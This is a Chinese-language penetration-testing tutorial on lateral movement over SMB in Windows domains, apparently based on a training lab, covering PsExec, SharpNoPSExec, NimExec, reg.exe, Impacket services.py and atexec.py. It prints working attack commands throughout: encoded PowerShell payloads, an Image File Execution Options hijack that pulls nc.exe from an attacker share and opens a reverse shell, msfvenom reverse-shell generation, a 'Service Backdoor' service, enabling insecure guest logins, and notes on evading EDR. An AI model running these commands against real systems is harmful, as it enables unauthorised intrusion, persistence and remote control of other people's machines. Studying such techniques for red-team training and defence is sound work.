SMB

Server Message Block (SMB) 是一种网络通信协议,主要用于网络直之间共享文件、打印机以及其他资源。该协议还支持用于进程间通信的事务协议

1. SMB 横向

1.1. 条件:

TCP445 TCP139必需开放,TCP135也可能需要开放(一些工具会用到此端口)

1.2. UAC 远程限制

UAC 可能会阻止我们进行远程代码执行,且会因Windows版本有所不同.但一般会有这些特点

  • 需要本地管理员
  • 非rid 500的本地管理员用户无法执行如Psexec之类的工具
  • 有机器管理员权限的域用户可以执行psexec之类的攻击
  • RID 500本地管理员账户可以在机器上使用PSexec登工具

2. SMB 命名管道

SMB中的命名管道通过 TCP 445 端口的 IPC$ 共享进行访问能完成很多操作

例如:

  • svcctl:远程创建、启动和停止服务以执行命令(psexec、smbexec)
  • atsvc:远程创建用于执行命令的计划任务(atexec)
  • winreg:对 Windows 注册表的远程访问,允许查询和修改注册表键值。

3. 横向

3.1. PSExec

PsExec是微软 Sysinternals suite套件中的一部分,这个套件提供帮助管理员执行任务的工具集,使用SMB协议,通过命令管道来接收远程命令并返回输出,它运行在139 和445端口

执行操作

  • 通过 SMB 建立与隐藏共享 ADMIN$ 的连接,此共享对应于远程系统上的 C:\Windows 目录(psexec.py会通过MSRPC 建立服务,并通过 svcctl SMB 管道管理该服务)
  • 利用服务控制管理器 (SCM) 启动 PsExecsvc 服务:并在远程系统上建立一个命名管道
  • 通过创建的命名管道重定向控制台的输入和输出

PsExec 消除了Kerberos双跳问题,因为凭据随命令一起传递,并生成交互式登录会话(类型 2)

3.2. SharpNoPSExec

SharpNoPSExec 通过利用目标系统上现有服务来横向移动
该工具会查询目标机器上的所有服务,识别出那些启动类型设置为“禁用”或“手动”、当前状态为“已停止”且以 LocalSystem 权限运行的服务
随机选择其中一个服务临时修改其二进制路径,指向攻击者指定的Payload,执行后会等待大约 5 秒钟后恢复原始服务配置并将服务还原至之前的状态

3.2.1. 使用

首先需要开启监听

nc -lvnp 1337
PS C:\Tools> .\SharpNoPSExec.exe --target=172.20.0.52 --username=Administrator --password=Admin123  --payload="c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ...SNIP...AbwBzAGUAKAApAA=="

[>] Open SC Manager from 172.20.0.52.

[>] Getting services information from 172.20.0.52.

[>] Looking for a random service to execute our payload.
    |-> Querying service NetTcpPortSharing
    |-> Querying service UevAgentService
    |-> Service UevAgentService authenticated as LocalSystem.

[>] Setting up payload.
    |-> payload = c:\windows\system32\cmd.exe /c ...SNIP...AbwBzAGUAKAApAA==
    |-> ImagePath previous value = C:\Windows\system32\AgentService.exe.
    |-> Modifying ImagePath value with payload.

[>] Starting service User Experience Virtualization Service with new ImagePath.

[>] Waiting 5 seconds to finish.

[>] Restoring service configuration.
    |-> User Experience Virtualization Service Log On => LocalSystem.
    |-> User Experience Virtualization Service status => 4.
    |-> User Experience Virtualization Service ImagePath => C:\Windows\system32\AgentService.exe

3.3. NimExec

NimExec是一款无文件远程命令执行工具,其运作机制基于利用服务控制管理器远程协议(MS-SCMR)
与传统 WinAPI 调用方式不同, NimExec 通过操纵具有 LocalSystem 权限的指定或随机服务的二进制路径,在目标机器上执行指定命令,随后恢复原始配置
通过 SMB 和 svcctl 命名管道手动构建和发送自定义的 RPC 数据包,以规避许多基于 API 调用监控EDR

执行方式与上面一样

nc -lvnp 1337
.\NimExec -u helen -d inlanefreight.local -p RedRiot88 -t 172.20.0.52 -c "cmd.exe /c powershell -e JABjAGwAaQBlAG...SNIP...AbwBzAGUAKAApAA==" -v

3.4. Reg.exe

利用了 winreg SMB 管道,可以对注册表进行远程读写。通常远程注册表服务只在win server上启用

3.4.1. 利用

下面利用此工具为Edge浏览器添加了一个新的注册表项,只要运行浏览器就会执行我们指定的载荷

#开启Smbserver
python3 smbserver.py share -smb2support /home/plaintext/nc.exe

#监听 
nc -lnvp 8080

#修改注册表
PS C:\Tools> reg.exe add "\\srv02.inlanefreight.local\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe" /v Debugger /t reg_sz /d "cmd /c copy \\172.20.0.99\share\nc.exe && nc.exe -e \windows\system32\cmd.exe 172.20.0.99 8080"
  • /v Debugger:添加的注册表名字
  • /t reg_sz:指定数据类型为字符串
  • /d payload
  • 注意需要使用完整的路径:add \\<域名>\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe

无需身份验证的情况下使用 SMB 共享文件夹 需要把下面的注册表项改成1 才行

reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /d 1 /t REG_DWORD /f

这条命令用于开启不安全来宾登录

3.5. services.py

Impacket中的services.py 通过MSRPC 接口与 Windows 服务进行交互,可以对服务进行各种操作(增删查改启停)

┌──(root㉿kali)-[~]
└─# impacket-services  administrator:Admin123@192.168.8.8 list             
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Listing services available on target
                      1394ohci -                                    1394 OHCI Compliant Host Controller -  STOPPED
                         3ware -                                                                  3ware -  STOPPED
                          ACPI -                                                  Microsoft ACPI Driver -  RUNNING
                       AcpiDev -                                                    ACPI 设备驱动程序AcpiDev -  STOPPED
                        acpiex -                                                Microsoft ACPIEx Driver -  RUNNING
                      acpipagr -                                               ACPI 处理器聚合器驱动程序acpipagr -  STOPPED
                       AcpiPmi -                                                   ACPI 电源表驱动程序AcpiPmi -  STOPPED
                      acpitime -                                                 ACPI 唤醒警报驱动程序acpitime -  STOPPED
                      Acx01000 -                                                               Acx01000 -  STOPPED
                       ADP80XX -                                                                ADP80XX -  STOPPED
                          ADWS -                                          Active Directory Web Services -  RUNNING
                           AFD -                                  Ancillary Function Driver for Winsock -  RUNNING
                        afunix -                                                                 afunix -  RUNNING
                       ahcache -                                        Application Compatibility Cache -  RUNNING
                      AJRouter -                                                 AllJoyn Router Service -  STOPPED
                           ALG -                                      Application Layer Gateway Service -  STOPPED
                         AmdK8 -                                                AMD K8 Processor Driver -  STOPPED
                        AmdPPM -                                                   AMD Processor Driver -  STOPPED
                       amdsata -                                                                amdsata -  STOPPED
                        amdsbs -                                                                 amdsbs -  STOPPED
                       amdxata -                                                                amdxata -  STOPPED
                         AppID -                                                       AppID 驱动程序AppID -  STOPPED

3.5.1. 执行命令

我们也可以利用这个进行反弹shell,他有一个好处,如果某项服务配置了特定的用户账户,我们就能利用该账户并模拟其身份

#生成shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.207 LPORT=9001 -f exe-service -o rshell-9001s.exe

#创建服务
services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 create -name 'Service Backdoor' -display 'Service Backdoor' -path "\\\\10.10.14.207\\share\\rshell-9001.exe"

#查看服务 config -name <serviceName>
services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 config -name 'Service Backdoor'

#开启监听,启动服务 start -name <serviceName>
impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 start -name 'Service Backdoor' 

#删除服务 delete -name <serviceName>
services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 delete -name 'Service Backdoor'

#修改现有的服务
impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 change -name Spooler -path "\\\\10.10.14.207\\share\\rshell-9001.exe" -start_type 2

3.6. atexec.py

 atexec.py利用了 Windows 任务计划程序服务,通过 atsvc SMB 管道远程向计划程序添加任务,该任务将在指定时间执行
命令输出会发送到一个文件并通过 ADMIN$ 共享访问该文件

所以此工具需要时间同步到分钟级别

atexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 "powershell -e ...SNIP...AbwBzAGUAKAApAA=="

3.7. NTLM Relay

还有一种方法是通过SMB共享来触发 NTLM中继